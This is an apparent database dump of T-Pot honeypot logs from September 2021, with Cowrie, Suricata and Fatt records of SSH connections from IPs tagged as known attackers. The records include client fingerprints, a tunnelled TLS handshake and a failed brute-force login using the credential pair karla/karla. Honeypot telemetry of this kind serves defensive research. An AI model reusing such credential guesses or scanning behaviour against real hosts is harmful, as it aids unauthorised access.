b\\"\\\\x16\\\\x03\\\\x03\\\\x00\\\\xaf\\\\x01\\\\x00\\\\x00\\\\xab\\\\x03\\\\x03aHt\\\\xb0\\\\tu\\\\x93e\\\\x8b\\\\xc8\\\\n\\\\xe9u\\\\xf2\\\\xc5&@\\\\xd0x\\\\xf8s:\\\\xce\\\\xe4\\\\x8a\\\\x85\\\\xa5\\\\x0e/,\\\\xab$\\\\x00\\\\x004\\\\xc0(\\\\xc0'\\\\xc0\\\\x14\\\\xc0\\\\x13\\\\x00\\\\x9f\\\\x00\\\\x9e\\\\x009\\\\x003\\\\x00\\\\x9d\\\\x00\\\\x9c\\\\x00=\\\\x00<\\\\x005\\\\x00/\\\\xc0,\\\\xc0+\\\\xc0$\\\\xc0#\\\\xc0\\\\n\\\\xc0\\\\t\\\\x00j\\\\x00@\\\\x008\\\\x002\\\\x00\\\\n\\\\x00\\\\x13\\\\x01\\\\x00\\\\x00N\\\\x00\\\\x00\\\\x00\\\\x15\\\\x00\\\\x13\\\\x00\\\\x00\\\\x10www.evernote.com\\\\x00\\\\n\\\\x00\\\\x06\\\\x00\\\\x04\\\\x00\\\\x17\\\\x00\\\\x18\\\\x00\\\\x0b\\\\x00\\\\x02\\\\x01\\\\x00\\\\x00\\\\r\\\\x00\\\\x14\\\\x00\\\\x12\\\\x06\\\\x01\\\\x06\\\\x03\\\\x04\\\\x01\\\\x05\\\\x01\\\\x02\\\\x01\\\\x04\\\\x03\\\\x05\\\\x03\\\\x02\\\\x03\\\\x02\\\\x02\\\\x00#\\\\x00\\\\x00\\\\x00\\\\x17\\\\x00\\\\x00\\\\xff\\\\x01\\\\x00\\\\x01\\\\x00\\"", "session": "0a8cfc15853f", "@version": "1", "dest_port": 443, "timestamp": "2021-09-20T11:47:03.492443Z", "@timestamp": "2021-09-20T11:47:03.492Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
31617	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:47:02.791236+03	2021-09-20 15:00:02.402716+03	{"_id": "fgYHA3wBvYTbRNuE7kWE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "c74d4c79ab22", "@version": "1", "duration": 1.329103946685791, "timestamp": "2021-09-20T11:47:02.791236Z", "@timestamp": "2021-09-20T11:47:02.791Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31618	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:47:03.392421+03	2021-09-20 15:00:02.404718+03	{"_id": "fwYHA3wBvYTbRNuE7kWE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "62cece847fe3", "@version": "1", "duration": 2.77443528175354, "timestamp": "2021-09-20T11:47:03.392421Z", "@timestamp": "2021-09-20T11:47:03.392Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31619	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:47:03.458586+03	2021-09-20 15:00:02.405717+03	{"_id": "gAYHA3wBvYTbRNuE7kWE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "4c17859e0a9e", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:47:03.458586Z", "@timestamp": "2021-09-20T11:47:03.458Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31620	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:47:03.567891+03	2021-09-20 15:00:02.406717+03	{"_id": "gQYHA3wBvYTbRNuE7kWE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "9602dbba5744", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:47:03.567891Z", "@timestamp": "2021-09-20T11:47:03.567Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31621	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:47:03.738817+03	2021-09-20 15:00:02.407717+03	{"_id": "ggYHA3wBvYTbRNuE7kWE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "4c17859e0a9e", "@version": "1", "timestamp": "2021-09-20T11:47:03.738817Z", "@timestamp": "2021-09-20T11:47:03.738Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31622	81.71.17.12	109.199.241.180	Suricata	2021-09-20 14:47:03.737751+03	2021-09-20 15:00:02.408717+03	{"_id": "gwYHA3wBvYTbRNuE70Xx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.17.12", "dest_ip": "192.168.20.116", "flow_id": 230044701534962, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35376, "dest_port": 22, "timestamp": "2021-09-20T11:47:03.737751Z", "@timestamp": "2021-09-20T11:47:03.737Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31623	81.71.17.12	109.199.241.180	Fatt	2021-09-20 14:47:03.73818+03	2021-09-20 15:00:02.410716+03	{"_id": "igYHA3wBvYTbRNuE8EXz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.71.17.12", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 35376, "dest_port": 22, "timestamp": "2021-09-20T11:47:03.738180", "@timestamp": "2021-09-20T11:47:03.738Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31624	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:47:04.967047+03	2021-09-20 15:00:02.411718+03	{"_id": "jQYHA3wBvYTbRNuE9kUk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.login.failed", "message": "login attempt [karla/karla] failed", "session": "4c17859e0a9e", "@version": "1", "password": "karla", "username": "karla", "timestamp": "2021-09-20T11:47:04.967047Z", "@timestamp": "2021-09-20T11:47:04.967Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31625	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:47:06.255171+03	2021-09-20 15:00:02.412718+03	{"_id": "jwYHA3wBvYTbRNuE-kUN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "4c17859e0a9e", "@version": "1", "duration": 2.796849489212036, "timestamp": "2021-09-20T11:47:06.255171Z", "@timestamp": "2021-09-20T11:47:06.255Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31626	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:47:00.615182+03	2021-09-20 15:00:02.413718+03	{"_id": "XAYHA3wBvYTbRNuE4kW_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 119.29.153.168:56106 (192.168.176.2:22) [session: 62cece847fe3]", "session": "62cece847fe3", "@version": "1", "protocol": "ssh", "src_port": 56106, "dest_port": 22, "timestamp": "2021-09-20T11:47:00.615182Z", "@timestamp": "2021-09-20T11:47:00.615Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31627	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:47:00.618266+03	2021-09-20 15:00:02.414715+03	{"_id": "XQYHA3wBvYTbRNuE4kW_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "62cece847fe3", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:47:00.618266Z", "@timestamp": "2021-09-20T11:47:00.618Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31628	119.29.153.168	109.199.241.180	Suricata	2021-09-20 14:47:00.895036+03	2021-09-20 15:00:02.416717+03	{"_id": "XgYHA3wBvYTbRNuE5EU4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "flow_id": 1433054303494261, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56106, "dest_port": 22, "timestamp": "2021-09-20T11:47:00.895036Z", "@timestamp": "2021-09-20T11:47:00.895Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31629	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:47:00.618873+03	2021-09-20 15:00:02.417716+03	{"_id": "XwYHA3wBvYTbRNuE5UU4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "119.29.153.168", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56106, "timestamp": "2021-09-20T11:47:00.618873", "@timestamp": "2021-09-20T11:47:00.618Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31630	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:47:01.462518+03	2021-09-20 15:00:02.418717+03	{"_id": "ZgYHA3wBvYTbRNuE5kWB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "c74d4c79ab22", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:47:01.462518Z", "@timestamp": "2021-09-20T11:47:01.462Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31631	119.29.153.168	109.199.241.180	Fatt	2021-09-20 14:47:00.89843+03	2021-09-20 15:00:02.420717+03	{"_id": "YAYHA3wBvYTbRNuE5UU4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 56106, "dest_port": 22, "timestamp": "2021-09-20T11:47:00.898430", "@timestamp": "2021-09-20T11:47:00.898Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31632	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:47:01.459418+03	2021-09-20 15:00:02.421718+03	{"_id": "aQYHA3wBvYTbRNuE5kWB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 46.101.115.211:58218 (192.168.176.2:22) [session: c74d4c79ab22]", "session": "c74d4c79ab22", "@version": "1", "protocol": "ssh", "src_port": 58218, "dest_port": 22, "timestamp": "2021-09-20T11:47:01.459418Z", "@timestamp": "2021-09-20T11:47:01.459Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
